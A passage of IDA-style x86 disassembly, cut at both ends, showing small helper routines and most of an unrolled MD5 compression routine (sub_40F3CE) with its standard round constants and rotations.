call sub_416B6A ; memset
add esp, 0Ch
loc_40F2F5: ; CODE XREF: sub_40F26E+71j
push 8
mov eax, [ebp+arg_4]
add eax, 10h
push eax
mov eax, [ebp+arg_4]
add eax, 50h
push eax
call sub_40F33F
add esp, 0Ch
mov eax, [ebp+arg_4]
add eax, 18h
push eax
push [ebp+arg_4]
call sub_40F3CE
pop ecx
pop ecx
push 10h
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F33F
add esp, 0Ch
push 4
push 0
push [ebp+arg_4]
call sub_416B6A ; memset
add esp, 0Ch
leave
retn
sub_40F26E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F33F proc near ; CODE XREF: sub_40F26E+97p
; sub_40F26E+B8p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
and [ebp+var_8], 0
jmp short loc_40F35E
; ---------------------------------------------------------------------------
loc_40F34E: ; CODE XREF: sub_40F33F+8Bj
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
mov eax, [ebp+var_8]
add eax, 4
mov [ebp+var_8], eax
loc_40F35E: ; CODE XREF: sub_40F33F+Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_8]
jnb short locret_40F3CC
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx], al
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
shr eax, 8
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx+1], al
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
shr eax, 10h
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx+2], al
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov eax, [ecx+eax*4]
shr eax, 18h
and eax, 0FFh
mov ecx, [ebp+arg_0]
add ecx, [ebp+var_8]
mov [ecx+3], al
jmp short loc_40F34E
; ---------------------------------------------------------------------------
locret_40F3CC: ; CODE XREF: sub_40F33F+25j
leave
retn
sub_40F33F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp
; sub_40F159+E3p ...
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 50h
push 40h
push [ebp+arg_4]
lea eax, [ebp+var_50]
push eax
call sub_410244
add esp, 0Ch
mov eax, [ebp+arg_0]
mov eax, [eax]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
mov eax, [eax+4]
mov [ebp+var_8], eax
mov eax, [ebp+arg_0]
mov eax, [eax+8]
mov [ebp+var_C], eax
mov eax, [ebp+arg_0]
mov eax, [eax+0Ch]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_50]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-28955B88h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_4C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-173848AAh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_48]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+242070DBh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_44]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-3E423112h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_40]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-0A83F051h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_3C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+4787C62Ah]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_38]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-57CFB9EDh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_34]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-2B96AFFh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_30]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+698098D8h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_2C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-74BB0851h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_28]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-0A44Fh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_24]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-76A32842h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_C]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_20]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+6B901122h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 7
mov ecx, [ebp+var_4]
shr ecx, 19h
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_8]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_1C]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-2678E6Dh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ch
mov ecx, [ebp+var_10]
shr ecx, 14h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_4]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_18]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-5986BC72h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 11h
mov ecx, [ebp+var_C]
shr ecx, 0Fh
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_10]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_14]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+49B40821h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 16h
mov ecx, [ebp+var_8]
shr ecx, 0Ah
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_4C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-9E1DA9Eh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_38]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-3FBF4CC0h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_24]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+265E5A51h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_50]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-16493856h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_3C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-29D0EFA3h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_28]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+2441453h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_14]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-275E197Fh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_40]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-182C0438h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_2C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+21E1CDE6h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_18]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-3CC8F82Ah]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_44]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-0B2AF279h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_30]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+455A14EDh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
and eax, [ebp+var_8]
mov ecx, [ebp+var_10]
not ecx
and ecx, [ebp+var_C]
or eax, ecx
add eax, [ebp+var_1C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-561C16FBh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 5
mov ecx, [ebp+var_4]
shr ecx, 1Bh
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
and eax, [ebp+var_4]
mov ecx, [ebp+var_C]
not ecx
and ecx, [ebp+var_8]
or eax, ecx
add eax, [ebp+var_48]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-3105C08h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 9
mov ecx, [ebp+var_10]
shr ecx, 17h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
and eax, [ebp+var_10]
mov ecx, [ebp+var_8]
not ecx
and ecx, [ebp+var_4]
or eax, ecx
add eax, [ebp+var_34]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+676F02D9h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Eh
mov ecx, [ebp+var_C]
shr ecx, 12h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
and eax, [ebp+var_C]
mov ecx, [ebp+var_4]
not ecx
and ecx, [ebp+var_10]
or eax, ecx
add eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-72D5B376h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 14h
mov ecx, [ebp+var_8]
shr ecx, 0Ch
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_3C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-5C6BEh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-788E097Fh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_24]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+6D9D6122h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_18]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-21AC7F4h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_4C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-5B4115BCh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_40]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+4BDECFA9h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_34]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-944B4B0h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-41404390h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_1C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+289B7EC6h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_50]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-155ED806h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_44]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-2B10CF7Bh]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_38]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax+4881D05h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
xor eax, [ebp+var_C]
xor eax, [ebp+var_10]
add eax, [ebp+var_2C]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-262B2FC7h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 4
mov ecx, [ebp+var_4]
shr ecx, 1Ch
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
xor eax, [ebp+var_8]
xor eax, [ebp+var_C]
add eax, [ebp+var_20]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-1924661Bh]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Bh
mov ecx, [ebp+var_10]
shr ecx, 15h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
xor eax, [ebp+var_4]
xor eax, [ebp+var_8]
add eax, [ebp+var_14]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax+1FA27CF8h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 10h
mov ecx, [ebp+var_C]
shr ecx, 10h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
xor eax, [ebp+var_10]
xor eax, [ebp+var_4]
add eax, [ebp+var_48]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-3B53A99Bh]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 17h
mov ecx, [ebp+var_8]
shr ecx, 9
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_50]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax-0BD6DDBCh]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_34]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax+432AFF97h]
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
shl eax, 0Ah
mov ecx, [ebp+var_10]
shr ecx, 16h
or eax, ecx
mov [ebp+var_10], eax
mov eax, [ebp+var_10]
add eax, [ebp+var_4]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
not eax
mov ecx, [ebp+var_10]
or ecx, eax
mov eax, [ebp+var_4]
xor eax, ecx
add eax, [ebp+var_18]
mov ecx, [ebp+var_C]
lea eax, [ecx+eax-546BDC59h]
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
shl eax, 0Fh
mov ecx, [ebp+var_C]
shr ecx, 11h
or eax, ecx
mov [ebp+var_C], eax
mov eax, [ebp+var_C]
add eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_4]
not eax
mov ecx, [ebp+var_C]
or ecx, eax
mov eax, [ebp+var_10]
xor eax, ecx
add eax, [ebp+var_3C]
mov ecx, [ebp+var_8]
lea eax, [ecx+eax-36C5FC7h]
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
shl eax, 15h
mov ecx, [ebp+var_8]
shr ecx, 0Bh
or eax, ecx
mov [ebp+var_8], eax
mov eax, [ebp+var_8]
add eax, [ebp+var_C]
mov [ebp+var_8], eax
mov eax, [ebp+var_10]
not eax
mov ecx, [ebp+var_8]
or ecx, eax
mov eax, [ebp+var_C]
xor eax, ecx
add eax, [ebp+var_20]
mov ecx, [ebp+var_4]
lea eax, [ecx+eax+655B59C3h]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
shl eax, 6
mov ecx, [ebp+var_4]
shr ecx, 1Ah
or eax, ecx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
add eax, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
not eax
mov ecx, [ebp+var_4]
or ecx, eax
mov eax, [ebp+var_8]
xor eax, ecx
add eax, [ebp+var_44]
mov ecx, [ebp+var_10]
lea eax, [ecx+eax-70F3336Eh]
mov [ebp+var_10], eax
